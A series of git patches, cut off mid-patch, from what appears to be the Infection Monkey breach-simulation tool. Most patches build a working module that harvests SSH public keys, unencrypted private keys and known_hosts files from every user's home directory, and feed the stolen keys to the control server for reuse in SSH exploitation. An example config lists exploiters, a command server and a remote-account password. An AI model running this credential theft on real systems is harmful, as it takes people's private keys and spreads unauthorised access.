From cdb4d459bbf4674801b865f4b4c06f89c6a10525 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 16 May 2018 15:19:59 +0300 Subject: [PATCH 01/19] SSH key-stealing implemented --- .../system_info/SSH_info_collector.py | 68 +++++++++++++++++++ .../system_info/linux_info_collector.py | 3 + 2 files changed, 71 insertions(+) create mode 100644 infection_monkey/system_info/SSH_info_collector.py diff --git a/infection_monkey/system_info/SSH_info_collector.py b/infection_monkey/system_info/SSH_info_collector.py new file mode 100644 index 000000000..d4bbddb15 --- /dev/null +++ b/infection_monkey/system_info/SSH_info_collector.py @@ -0,0 +1,68 @@ +import logging +import pwd +import sys +import os +import glob + +__author__ = 'VakarisZ' + +LOG = logging.getLogger(__name__) + + +class SSHCollector(object): + """ + SSH keys and known hosts collection module + """ + + default_dirs = ['/.ssh', '/'] + + @staticmethod + def get_info(): + home_dirs = SSHCollector.get_home_dirs() + ssh_info = SSHCollector.get_ssh_files(home_dirs) + LOG.info("Scanned for ssh keys") + return ssh_info + + @staticmethod + def get_home_dirs(): + home_dirs = [{'name': 'root', 'home_dir': '/root', 'public_key': None, + 'private_key': None, 'known_hosts': None}] + for usr in pwd.getpwall(): + if usr[5].startswith('/home'): + ssh_data = {'name': usr[0], 'home_dir': usr[5], 'public_key': None, + 'private_key': None, 'known_hosts': None} + home_dirs.append(ssh_data) + return home_dirs + + @staticmethod + def get_ssh_files(usr_info): + for info in usr_info: + path = info['home_dir'] + for directory in SSHCollector.default_dirs: + if os.path.isdir(path + directory): + try: + os.chdir(path + directory) + # searching for public key + if glob.glob('*.pub'): + public = '/' + (glob.glob('*.pub')[0]) + try: + with open(path + directory + public) as f: + info['public_key'] = f.read() + private = public.split('.')[0] + except: + pass + if os.path.exists(path + directory + private): + try: + with open(path + directory + private) as f: + info['private_key'] = f.read() + except: + pass + if os.path.exists(path + directory + '/known_hosts'): + try: + with open(path + directory + '/known_hosts') as f: + info['known_hosts'] = f.read() + except: + pass + except: + pass + return usr_info diff --git a/infection_monkey/system_info/linux_info_collector.py b/infection_monkey/system_info/linux_info_collector.py index ccdd7cb30..556be812a 100644 --- a/infection_monkey/system_info/linux_info_collector.py +++ b/infection_monkey/system_info/linux_info_collector.py @@ -1,6 +1,7 @@ import logging from . import InfoCollector +from SSH_info_collector import SSHCollector __author__ = 'uri' @@ -26,4 +27,6 @@ class LinuxInfoCollector(InfoCollector): self.get_process_list() self.get_network_info() self.get_azure_info() + self.info['ssh_info'].update(SSHCollector.get_info()) return self.info + From 53ec1f77ac903489088038be4eeeac84a696b5aa Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Thu, 17 May 2018 17:41:30 +0300 Subject: [PATCH 02/19] changed tabs to 4 spaces --- infection_monkey/example.conf | 176 +++++++++++++++++----------------- 1 file changed, 88 insertions(+), 88 deletions(-) diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index b3d2b6d57..1baed66f2 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -1,93 +1,93 @@ { - "command_servers": [ - "41.50.73.31:5000" - ], - "internet_services": [ - "monkey.guardicore.com", - "www.google.com" - ], - "keep_tunnel_open_time": 60, - "subnet_scan_list": [ - "" - ], - "blocked_ips": [""], - "current_server": "41.50.73.31:5000", - "alive": true, - "collect_system_info": true, - "extract_azure_creds": true, - "depth": 2, + "command_servers": [ + "41.50.73.31:5000" + ], + "internet_services": [ + "monkey.guardicore.com", + "www.google.com" + ], + "keep_tunnel_open_time": 60, + "subnet_scan_list": [ + "" + ], + "blocked_ips": [""], + "current_server": "41.50.73.31:5000", + "alive": true, + "collect_system_info": true, + "extract_azure_creds": true, + "depth": 2, - "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", - "dropper_date_reference_path_linux": "/bin/sh", - "dropper_log_path_windows": "%temp%\\~df1562.tmp", - "dropper_log_path_linux": "/tmp/user-1562", - "dropper_set_date": true, - "dropper_target_path_win_32": "C:\\Windows\\monkey32.exe", - "dropper_target_path_win_64": "C:\\Windows\\monkey64.exe", - "dropper_target_path_linux": "/tmp/monkey", + "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", + "dropper_date_reference_path_linux": "/bin/sh", + "dropper_log_path_windows": "%temp%\\~df1562.tmp", + "dropper_log_path_linux": "/tmp/user-1562", + "dropper_set_date": true, + "dropper_target_path_win_32": "C:\\Windows\\monkey32.exe", + "dropper_target_path_win_64": "C:\\Windows\\monkey64.exe", + "dropper_target_path_linux": "/tmp/monkey", - "kill_file_path_linux": "/var/run/monkey.not", - "kill_file_path_windows": "%windir%\\monkey.not", - "dropper_try_move_first": true, - "exploiter_classes": [ - "SSHExploiter", - "SmbExploiter", - "WmiExploiter", - "ShellShockExploiter", - "ElasticGroovyExploiter", - "SambaCryExploiter" - ], - "finger_classes": [ - "SSHFinger", - "PingScanner", - "HTTPFinger", - "SMBFinger", - "MySQLFinger", - "ElasticFinger" - ], - "max_iterations": 3, - "monkey_log_path_windows": "%temp%\\~df1563.tmp", - "monkey_log_path_linux": "/tmp/user-1563", - "send_log_to_server": true, - "ms08_067_exploit_attempts": 5, - "ms08_067_remote_user_add": "Monkey_IUSER_SUPPORT", - "ms08_067_remote_user_pass": "Password1!", - "ping_scan_timeout": 10000, - "rdp_use_vbs_download": true, - "smb_download_timeout": 300, - "smb_service_name": "InfectionMonkey", - "retry_failed_explotation": true, - "scanner_class": "TcpScanner", - "self_delete_in_cleanup": true, - "serialize_config": false, - "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", - "skip_exploit_if_file_exist": false, - "exploit_user_list": [], - "exploit_password_list": [], - "exploit_lm_hash_list": [], - "exploit_ntlm_hash_list": [], - "sambacry_trigger_timeout": 5, - "sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"], - "sambacry_shares_not_to_check": ["IPC$", "print$"], - "local_network_scan": false, - "tcp_scan_get_banner": true, - "tcp_scan_interval": 200, - "tcp_scan_timeout": 10000, - "tcp_target_ports": [ - 22, - 445, - 135, - 3389, - 80, - 8080, - 443, - 3306, - 8008, - 9200 - ], - "timeout_between_iterations": 10, - "use_file_logging": true, - "victims_max_exploit": 7, - "victims_max_find": 30 + "kill_file_path_linux": "/var/run/monkey.not", + "kill_file_path_windows": "%windir%\\monkey.not", + "dropper_try_move_first": true, + "exploiter_classes": [ + "SSHExploiter", + "SmbExploiter", + "WmiExploiter", + "ShellShockExploiter", + "ElasticGroovyExploiter", + "SambaCryExploiter" + ], + "finger_classes": [ + "SSHFinger", + "PingScanner", + "HTTPFinger", + "SMBFinger", + "MySQLFinger", + "ElasticFinger" + ], + "max_iterations": 3, + "monkey_log_path_windows": "%temp%\\~df1563.tmp", + "monkey_log_path_linux": "/tmp/user-1563", + "send_log_to_server": true, + "ms08_067_exploit_attempts": 5, + "ms08_067_remote_user_add": "Monkey_IUSER_SUPPORT", + "ms08_067_remote_user_pass": "Password1!", + "ping_scan_timeout": 10000, + "rdp_use_vbs_download": true, + "smb_download_timeout": 300, + "smb_service_name": "InfectionMonkey", + "retry_failed_explotation": true, + "scanner_class": "TcpScanner", + "self_delete_in_cleanup": true, + "serialize_config": false, + "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", + "skip_exploit_if_file_exist": false, + "exploit_user_list": [], + "exploit_password_list": [], + "exploit_lm_hash_list": [], + "exploit_ntlm_hash_list": [], + "sambacry_trigger_timeout": 5, + "sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"], + "sambacry_shares_not_to_check": ["IPC$", "print$"], + "local_network_scan": false, + "tcp_scan_get_banner": true, + "tcp_scan_interval": 200, + "tcp_scan_timeout": 10000, + "tcp_target_ports": [ + 22, + 445, + 135, + 3389, + 80, + 8080, + 443, + 3306, + 8008, + 9200 + ], + "timeout_between_iterations": 10, + "use_file_logging": true, + "victims_max_exploit": 7, + "victims_max_find": 30 } \ No newline at end of file From 13fa4fa6a46e8ca36d9584113ddb4c7d05741235 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Thu, 17 May 2018 19:24:50 +0300 Subject: [PATCH 03/19] Added a logging system to the monkey_island module. Added a main function in main.py Inserted a few logs to test the log system --- monkey_island/cc/island_logger.py | 23 ++++++++++ .../cc/island_logger_default_config.json | 43 +++++++++++++++++++ monkey_island/cc/main.py | 17 ++++++-- monkey_island/cc/resources/local_run.py | 4 ++ 4 files changed, 83 insertions(+), 4 deletions(-) create mode 100644 monkey_island/cc/island_logger.py create mode 100644 monkey_island/cc/island_logger_default_config.json diff --git a/monkey_island/cc/island_logger.py b/monkey_island/cc/island_logger.py new file mode 100644 index 000000000..655a6b998 --- /dev/null +++ b/monkey_island/cc/island_logger.py @@ -0,0 +1,23 @@ +import os +import json +import logging.config + + +def json_setup_logging(default_path='logging.json', default_level=logging.INFO, env_key='LOG_CFG'): + """ + Setup the logging configuration + :param default_path: the default log configuration file path + :param default_level: Default level to log from + :param env_key: SYS ENV key to use for external configuration file path + :return: + """ + path = default_path + value = os.getenv(env_key, None) + if value: + path = value + if os.path.exists(path): + with open(path, 'rt') as f: + config = json.load(f) + logging.config.dictConfig(config) + else: + logging.basicConfig(level=default_level) diff --git a/monkey_island/cc/island_logger_default_config.json b/monkey_island/cc/island_logger_default_config.json new file mode 100644 index 000000000..020902dc8 --- /dev/null +++ b/monkey_island/cc/island_logger_default_config.json @@ -0,0 +1,43 @@ +{ + "version": 1, + "disable_existing_loggers": false, + "formatters": { + "simple": { + "format": "%(asctime)s - %(name)s - %(levelname)s - %(message)s" + } + }, + + "handlers": { + "console": { + "class": "logging.StreamHandler", + "level": "DEBUG", + "formatter": "simple", + "stream": "ext://sys.stdout" + }, + + "info_file_handler": { + "class": "logging.handlers.RotatingFileHandler", + "level": "INFO", + "formatter": "simple", + "filename": "info.log", + "maxBytes": 10485760, + "backupCount": 20, + "encoding": "utf8" + }, + + "error_file_handler": { + "class": "logging.handlers.RotatingFileHandler", + "level": "ERROR", + "formatter": "simple", + "filename": "errors.log", + "maxBytes": 10485760, + "backupCount": 20, + "encoding": "utf8" + } + }, + + "root": { + "level": "INFO", + "handlers": ["console", "info_file_handler", "error_file_handler"] + } +} \ No newline at end of file diff --git a/monkey_island/cc/main.py b/monkey_island/cc/main.py index e0f6ab079..41e2ba576 100644 --- a/monkey_island/cc/main.py +++ b/monkey_island/cc/main.py @@ -2,8 +2,8 @@ from __future__ import print_function # In python 2.7 import os import sys - import time +import logging BASE_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) if BASE_PATH not in sys.path: @@ -13,16 +13,21 @@ from cc.app import init_app from cc.utils import local_ip_addresses from cc.environment.environment import env from cc.database import is_db_server_up +from cc.island_logger import json_setup_logging -if __name__ == '__main__': + +def main(): from tornado.wsgi import WSGIContainer from tornado.httpserver import HTTPServer from tornado.ioloop import IOLoop + json_setup_logging(default_path='island_logger_default_config.json', default_level=logging.DEBUG) + logger = logging.getLogger(__name__) + mongo_url = os.environ.get('MONGO_URL', env.get_mongo_url()) while not is_db_server_up(mongo_url): - print('Waiting for MongoDB server') + logger.info('Waiting for MongoDB server') time.sleep(1) app = init_app(mongo_url) @@ -33,6 +38,10 @@ if __name__ == '__main__': ssl_options={'certfile': os.environ.get('SERVER_CRT', 'server.crt'), 'keyfile': os.environ.get('SERVER_KEY', 'server.key')}) http_server.listen(env.get_island_port()) - print('Monkey Island Server is running on https://{}:{}'.format(local_ip_addresses()[0], env.get_island_port())) + logger.info( + 'Monkey Island Server is running on https://{}:{}'.format(local_ip_addresses()[0], env.get_island_port())) IOLoop.instance().start() + +if __name__ == '__main__': + main() diff --git a/monkey_island/cc/resources/local_run.py b/monkey_island/cc/resources/local_run.py index c588eaf80..7b8965e1e 100644 --- a/monkey_island/cc/resources/local_run.py +++ b/monkey_island/cc/resources/local_run.py @@ -13,6 +13,8 @@ from cc.utils import local_ip_addresses __author__ = 'Barak' +import logging +logger = logging.getLogger(__name__) def run_local_monkey(): import platform @@ -32,6 +34,7 @@ def run_local_monkey(): copyfile(monkey_path, target_path) os.chmod(target_path, stat.S_IRWXU | stat.S_IRWXG) except Exception as exc: + logger.error('Copy file failed', exc_info=True) return False, "Copy file failed: %s" % exc # run the monkey @@ -41,6 +44,7 @@ def run_local_monkey(): args = "".join(args) pid = subprocess.Popen(args, shell=True).pid except Exception as exc: + logger.error('popen failed', exc_info=True) return False, "popen failed: %s" % exc return True, "pis: %s" % pid From a6d2483f7b18085d692ca9d3962b632f8720fb37 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 22 May 2018 18:54:10 +0300 Subject: [PATCH 04/19] Tested with windows and fixed all notes --- .../system_info/SSH_info_collector.py | 70 ++++++++++++------- .../system_info/linux_info_collector.py | 2 +- 2 files changed, 44 insertions(+), 28 deletions(-) diff --git a/infection_monkey/system_info/SSH_info_collector.py b/infection_monkey/system_info/SSH_info_collector.py index d4bbddb15..808081795 100644 --- a/infection_monkey/system_info/SSH_info_collector.py +++ b/infection_monkey/system_info/SSH_info_collector.py @@ -14,24 +14,36 @@ class SSHCollector(object): SSH keys and known hosts collection module """ - default_dirs = ['/.ssh', '/'] + default_dirs = ['/.ssh/', '/'] @staticmethod def get_info(): + LOG.info("Started scanning for ssh keys") home_dirs = SSHCollector.get_home_dirs() ssh_info = SSHCollector.get_ssh_files(home_dirs) LOG.info("Scanned for ssh keys") return ssh_info + @staticmethod + def get_ssh_struct(name, home_dir): + """ + :return: SSH info struct with these fields: + name: username of user, for whom the keys belong + home_dir: users home directory + public_key: contents of *.pub file(public key) + private_key: contents of * file(private key) + known_hosts: contents of known_hosts file(all the servers keys are good for, + possibly hashed) + """ + return {'name': name, 'home_dir': home_dir, 'public_key': None, + 'private_key': None, 'known_hosts': None} + @staticmethod def get_home_dirs(): - home_dirs = [{'name': 'root', 'home_dir': '/root', 'public_key': None, - 'private_key': None, 'known_hosts': None}] - for usr in pwd.getpwall(): - if usr[5].startswith('/home'): - ssh_data = {'name': usr[0], 'home_dir': usr[5], 'public_key': None, - 'private_key': None, 'known_hosts': None} - home_dirs.append(ssh_data) + root_dir = SSHCollector.get_ssh_struct('root', '/') + home_dirs = [SSHCollector.get_ssh_struct(x.pw_name,x.pw_dir) for x in pwd.getpwall() + if x.pw_dir.startswith('/home')] + home_dirs.append(root_dir) return home_dirs @staticmethod @@ -41,28 +53,32 @@ class SSHCollector(object): for directory in SSHCollector.default_dirs: if os.path.isdir(path + directory): try: - os.chdir(path + directory) + current_path = path + directory # searching for public key - if glob.glob('*.pub'): - public = '/' + (glob.glob('*.pub')[0]) + if glob.glob(current_path+'*.pub'): + public = (glob.glob(current_path+'*.pub')[0]) + LOG.info("Found public key in %s" % public) try: - with open(path + directory + public) as f: + with open(public) as f: info['public_key'] = f.read() - private = public.split('.')[0] - except: + private = public.rsplit('.', 1)[0] + if os.path.exists(private): + try: + with open(private) as f: + info['private_key'] = f.read() + LOG.info("Found private key in %s" % private) + except (IOError, OSError): + pass + if os.path.exists(current_path + '/known_hosts'): + try: + with open(current_path + '/known_hosts') as f: + info['known_hosts'] = f.read() + LOG.info("Found known_hosts in %s" % current_path+'/known_hosts') + except (IOError, OSError): + pass + except (IOError, OSError): pass - if os.path.exists(path + directory + private): - try: - with open(path + directory + private) as f: - info['private_key'] = f.read() - except: - pass - if os.path.exists(path + directory + '/known_hosts'): - try: - with open(path + directory + '/known_hosts') as f: - info['known_hosts'] = f.read() - except: - pass - except: + except OSError: pass + usr_info = [info for info in usr_info if not info['private_key'] and not info['known_hosts'] and not info['public_key']] return usr_info diff --git a/infection_monkey/system_info/linux_info_collector.py b/infection_monkey/system_info/linux_info_collector.py index 556be812a..d80efff6a 100644 --- a/infection_monkey/system_info/linux_info_collector.py +++ b/infection_monkey/system_info/linux_info_collector.py @@ -27,6 +27,6 @@ class LinuxInfoCollector(InfoCollector): self.get_process_list() self.get_network_info() self.get_azure_info() - self.info['ssh_info'].update(SSHCollector.get_info()) + self.info['ssh_info'] = SSHCollector.get_info() return self.info From e8b388482b9c04071ad2d0177841cff6d2e340e9 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 22 May 2018 19:06:12 +0300 Subject: [PATCH 05/19] quick fix --- infection_monkey/system_info/SSH_info_collector.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/infection_monkey/system_info/SSH_info_collector.py b/infection_monkey/system_info/SSH_info_collector.py index 808081795..12ff7df02 100644 --- a/infection_monkey/system_info/SSH_info_collector.py +++ b/infection_monkey/system_info/SSH_info_collector.py @@ -80,5 +80,6 @@ class SSHCollector(object): pass except OSError: pass - usr_info = [info for info in usr_info if not info['private_key'] and not info['known_hosts'] and not info['public_key']] + usr_info = [info for info in usr_info if info['private_key'] or info['known_hosts'] + or info['public_key']] return usr_info From ee835d51b009d87ceda98affe7f3e3830d395694 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 23 May 2018 15:22:27 +0300 Subject: [PATCH 06/19] Remove Monkey testing code, dead code as it is. --- infection_monkey/requirements.txt | 2 -- infection_monkey/test/__init__.py | 0 infection_monkey/test/config__test.py | 45 --------------------------- 3 files changed, 47 deletions(-) delete mode 100644 infection_monkey/test/__init__.py delete mode 100644 infection_monkey/test/config__test.py diff --git a/infection_monkey/requirements.txt b/infection_monkey/requirements.txt index d5c1455dd..8683987c4 100644 --- a/infection_monkey/requirements.txt +++ b/infection_monkey/requirements.txt @@ -13,6 +13,4 @@ PyInstaller six ecdsa netifaces -mock -nose ipaddress diff --git a/infection_monkey/test/__init__.py b/infection_monkey/test/__init__.py deleted file mode 100644 index e69de29bb..000000000 diff --git a/infection_monkey/test/config__test.py b/infection_monkey/test/config__test.py deleted file mode 100644 index accdd5a49..000000000 --- a/infection_monkey/test/config__test.py +++ /dev/null @@ -1,45 +0,0 @@ -# -*- coding: UTF-8 -*- -# NOTE: Launch all tests with `nosetests` command from infection_monkey dir. - -import json -import unittest - -from mock import Mock, patch - -import control - -from config import GUID - - -class ReportConfigErrorTestCase(unittest.TestCase): - """ - When unknown config variable received form the island server, skip it and report config - error back to the server. - """ - - config_response = Mock(json=Mock(return_value={'config': {'blah': 'blah'}})) - - def teardown(self): - patch.stopall() - - def test_config(self): - patch('control.requests.patch', Mock()).start() - patch('control.WormConfiguration', Mock(current_server='127.0.0.1:123')).start() - - # GIVEN the server with uknown config variable - patch('control.requests.get', Mock(return_value=self.config_response)).start() - - # WHEN monkey tries to load config from server - control.ControlClient.load_control_config() - - # THEN she reports config error back to the server - control.requests.patch.assert_called_once_with( - "https://127.0.0.1:123/api/monkey/%s" % GUID, - data=json.dumps({'config_error': True}), - headers={'content-type': 'application/json'}, - verify=False, - proxies=control.ControlClient.proxies) - - -if __name__ == '__main__': - unittest.main() From 4197ab12a39e184a3d68cac7de99c54cb1ed3d22 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 24 May 2018 16:59:22 +0300 Subject: [PATCH 07/19] SSH keys are now encrypted and added to database --- infection_monkey/config.py | 1 + .../system_info/SSH_info_collector.py | 27 +++++++------ monkey_island/cc/resources/telemetry.py | 21 +++++++++- monkey_island/cc/services/config.py | 39 +++++++++++++++++-- 4 files changed, 71 insertions(+), 17 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 41ecd1d91..1f5fce4b1 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -251,6 +251,7 @@ class Configuration(object): exploit_password_list = ["Password1!", "1234", "password", "12345678"] exploit_lm_hash_list = [] exploit_ntlm_hash_list = [] + exploit_ssh_keys = [] # smb/wmi exploiter smb_download_timeout = 300 # timeout in seconds diff --git a/infection_monkey/system_info/SSH_info_collector.py b/infection_monkey/system_info/SSH_info_collector.py index 12ff7df02..12244abac 100644 --- a/infection_monkey/system_info/SSH_info_collector.py +++ b/infection_monkey/system_info/SSH_info_collector.py @@ -1,6 +1,5 @@ import logging import pwd -import sys import os import glob @@ -36,13 +35,13 @@ class SSHCollector(object): possibly hashed) """ return {'name': name, 'home_dir': home_dir, 'public_key': None, - 'private_key': None, 'known_hosts': None} + 'private_key': None, 'known_hosts': None} @staticmethod def get_home_dirs(): - root_dir = SSHCollector.get_ssh_struct('root', '/') - home_dirs = [SSHCollector.get_ssh_struct(x.pw_name,x.pw_dir) for x in pwd.getpwall() - if x.pw_dir.startswith('/home')] + root_dir = SSHCollector.get_ssh_struct('root', '') + home_dirs = [SSHCollector.get_ssh_struct(x.pw_name, x.pw_dir) for x in pwd.getpwall() + if x.pw_dir.startswith('/home')] home_dirs.append(root_dir) return home_dirs @@ -54,14 +53,16 @@ class SSHCollector(object): if os.path.isdir(path + directory): try: current_path = path + directory - # searching for public key - if glob.glob(current_path+'*.pub'): - public = (glob.glob(current_path+'*.pub')[0]) + # Searching for public key + if glob.glob(os.path.join(current_path, '*.pub')): + # Getting first file in current path with .pub extension(public key) + public = (glob.glob(os.path.join(current_path, '*.pub'))[0]) LOG.info("Found public key in %s" % public) try: with open(public) as f: info['public_key'] = f.read() - private = public.rsplit('.', 1)[0] + # By default private key has the same name as public, only without .pub + private = os.path.splitext(public)[0] if os.path.exists(private): try: with open(private) as f: @@ -69,11 +70,13 @@ class SSHCollector(object): LOG.info("Found private key in %s" % private) except (IOError, OSError): pass - if os.path.exists(current_path + '/known_hosts'): + # By default known hosts file is called 'known_hosts' + known_hosts = os.path.join(current_path, 'known_hosts') + if os.path.exists(known_hosts): try: - with open(current_path + '/known_hosts') as f: + with open(known_hosts) as f: info['known_hosts'] = f.read() - LOG.info("Found known_hosts in %s" % current_path+'/known_hosts') + LOG.info("Found known_hosts in %s" % known_hosts) except (IOError, OSError): pass except (IOError, OSError): diff --git a/monkey_island/cc/resources/telemetry.py b/monkey_island/cc/resources/telemetry.py index 6095b0946..452a33818 100644 --- a/monkey_island/cc/resources/telemetry.py +++ b/monkey_island/cc/resources/telemetry.py @@ -167,6 +167,10 @@ class Telemetry(flask_restful.Resource): @staticmethod def process_system_info_telemetry(telemetry_json): + if 'ssh_info' in telemetry_json['data']: + ssh_info = telemetry_json['data']['ssh_info'] + Telemetry.encrypt_system_info_creds({}, ssh_info) + Telemetry.add_system_info_creds_to_config({}, ssh_info) if 'credentials' in telemetry_json['data']: creds = telemetry_json['data']['credentials'] Telemetry.encrypt_system_info_creds(creds) @@ -186,15 +190,20 @@ class Telemetry(flask_restful.Resource): creds[new_user] = creds.pop(user) @staticmethod - def encrypt_system_info_creds(creds): + def encrypt_system_info_creds(creds, ssh_info=None): for user in creds: for field in ['password', 'lm_hash', 'ntlm_hash']: if field in creds[user]: # this encoding is because we might run into passwords which are not pure ASCII creds[user][field] = encryptor.enc(creds[user][field].encode('utf-8')) + if ssh_info: + for idx, user in enumerate(ssh_info): + for field in ['public_key', 'private_key', 'known_hosts']: + if ssh_info[idx][field]: + ssh_info[idx][field] = encryptor.enc(ssh_info[idx][field].encode('utf-8')) @staticmethod - def add_system_info_creds_to_config(creds): + def add_system_info_creds_to_config(creds, ssh_info=None): for user in creds: ConfigService.creds_add_username(user) if 'password' in creds[user]: @@ -203,6 +212,14 @@ class Telemetry(flask_restful.Resource): ConfigService.creds_add_lm_hash(creds[user]['lm_hash']) if 'ntlm_hash' in creds[user]: ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash']) + if ssh_info: + for user in ssh_info: + ConfigService.creds_add_username(user['name']) + # Public key is useless without private key + if user['public_key'] and user['private_key']: + ConfigService.ssh_add_keys(user['public_key'], user['private_key']) + + @staticmethod def encrypt_exploit_creds(telemetry_json): diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index ebcf2a3ea..2ffc990a9 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -1,6 +1,7 @@ import copy import collections import functools +import json from jsonschema import Draft4Validator, validators from cc.database import mongo @@ -504,6 +505,13 @@ SCHEMA = { }, "default": [], "description": "List of NTLM hashes to use on exploits using credentials" + }, + "exploit_ssh_keys": { + "title": "SSH key pairs list", + "type": "array", + "uniqueItems": True, + "default": [], + "description": "List of SSH key pairs to use, when trying to ssh into servers" } } }, @@ -800,7 +808,8 @@ ENCRYPTED_CONFIG_ARRAYS = \ [ ['basic', 'credentials', 'exploit_password_list'], ['internal', 'exploits', 'exploit_lm_hash_list'], - ['internal', 'exploits', 'exploit_ntlm_hash_list'] + ['internal', 'exploits', 'exploit_ntlm_hash_list'], + ['internal', 'exploits', 'exploit_ssh_keys'] ] @@ -888,6 +897,11 @@ class ConfigService: def creds_add_ntlm_hash(ntlm_hash): ConfigService.add_item_to_config_set('internal.exploits.exploit_ntlm_hash_list', ntlm_hash) + @staticmethod + def ssh_add_keys(public_key, private_key): + ConfigService.add_item_to_config_set('internal.exploits.exploit_ssh_keys', + {"public_key": public_key, "private_key": private_key}) + @staticmethod def update_config(config_json, should_encrypt): if should_encrypt: @@ -979,7 +993,11 @@ class ConfigService: keys = [config_arr_as_array[2] for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS] for key in keys: if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], basestring): - flat_config[key] = [encryptor.dec(item) for item in flat_config[key]] + # Check if we are decrypting ssh key pair + if flat_config[key] and isinstance(flat_config[key][0], dict) and 'public_key' in flat_config[key][0]: + flat_config[key] = [ConfigService.decrypt_ssh_key_pair(item) for item in flat_config[key]] + else: + flat_config[key] = [encryptor.dec(item) for item in flat_config[key]] else: flat_config[key] = encryptor.dec(flat_config[key]) return flat_config @@ -992,4 +1010,19 @@ class ConfigService: config_arr = config_arr[config_key_part] for i in range(len(config_arr)): - config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i]) + # Check if array of shh key pairs and then decrypt + if isinstance(config_arr[i], dict) and 'public_key' in config_arr[i]: + config_arr[i] = ConfigService.decrypt_ssh_key_pair(config_arr[i]) if is_decrypt else \ + ConfigService.decrypt_ssh_key_pair(config_arr[i], True) + else: + config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i]) + + @staticmethod + def decrypt_ssh_key_pair(pair, encrypt=False): + if encrypt: + pair['public_key'] = encryptor.enc(pair['public_key']) + pair['private_key'] = encryptor.enc(pair['private_key']) + else: + pair['public_key'] = encryptor.dec(pair['public_key']) + pair['private_key'] = encryptor.dec(pair['private_key']) + return pair From 5f194b70f2cf68f731fd92f6c5cac49fd506d3ee Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 24 May 2018 17:11:45 +0300 Subject: [PATCH 08/19] Unecessary import fixed --- monkey_island/cc/services/config.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 2ffc990a9..1188c7d1e 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -1,7 +1,6 @@ import copy import collections import functools -import json from jsonschema import Draft4Validator, validators from cc.database import mongo From f45cebfd5ec8ea4e93a405170c69f49d2ecfe4a7 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Fri, 25 May 2018 01:34:24 +0300 Subject: [PATCH 09/19] Does not store encrypted or already present ssh keys, shows all users from whom SSH private key were stolen under "stolen credentials" in report --- .../system_info/SSH_info_collector.py | 14 +++++++++--- monkey_island/cc/resources/telemetry.py | 10 ++++++++- monkey_island/cc/services/config.py | 14 +++++++++--- monkey_island/cc/services/report.py | 22 +++++++++++++++++++ .../cc/ui/src/components/pages/ReportPage.js | 2 +- 5 files changed, 54 insertions(+), 8 deletions(-) diff --git a/infection_monkey/system_info/SSH_info_collector.py b/infection_monkey/system_info/SSH_info_collector.py index 12244abac..af1915e4d 100644 --- a/infection_monkey/system_info/SSH_info_collector.py +++ b/infection_monkey/system_info/SSH_info_collector.py @@ -60,14 +60,19 @@ class SSHCollector(object): LOG.info("Found public key in %s" % public) try: with open(public) as f: - info['public_key'] = f.read() + info['public_key'] = f.read() # By default private key has the same name as public, only without .pub private = os.path.splitext(public)[0] if os.path.exists(private): try: with open(private) as f: - info['private_key'] = f.read() - LOG.info("Found private key in %s" % private) + # no use from ssh key if it's encrypted + private_key = f.read() + if private_key.find('ENCRYPTED') == -1: + info['private_key'] = private_key + LOG.info("Found private key in %s" % private) + else: + continue except (IOError, OSError): pass # By default known hosts file is called 'known_hosts' @@ -79,6 +84,9 @@ class SSHCollector(object): LOG.info("Found known_hosts in %s" % known_hosts) except (IOError, OSError): pass + # If private key found don't search more + if info['private_key']: + break except (IOError, OSError): pass except OSError: diff --git a/monkey_island/cc/resources/telemetry.py b/monkey_island/cc/resources/telemetry.py index 452a33818..ec05558d8 100644 --- a/monkey_island/cc/resources/telemetry.py +++ b/monkey_island/cc/resources/telemetry.py @@ -170,6 +170,8 @@ class Telemetry(flask_restful.Resource): if 'ssh_info' in telemetry_json['data']: ssh_info = telemetry_json['data']['ssh_info'] Telemetry.encrypt_system_info_creds({}, ssh_info) + if telemetry_json['data']['network_info']['networks']: + Telemetry.add_ip_to_ssh_keys(telemetry_json['data']['network_info']['networks'][0], ssh_info) Telemetry.add_system_info_creds_to_config({}, ssh_info) if 'credentials' in telemetry_json['data']: creds = telemetry_json['data']['credentials'] @@ -177,6 +179,11 @@ class Telemetry(flask_restful.Resource): Telemetry.add_system_info_creds_to_config(creds) Telemetry.replace_user_dot_with_comma(creds) + @staticmethod + def add_ip_to_ssh_keys(ip, ssh_info): + for key in ssh_info: + key['ip'] = ip['addr'] + @staticmethod def process_trace_telemetry(telemetry_json): # Nothing to do @@ -217,7 +224,8 @@ class Telemetry(flask_restful.Resource): ConfigService.creds_add_username(user['name']) # 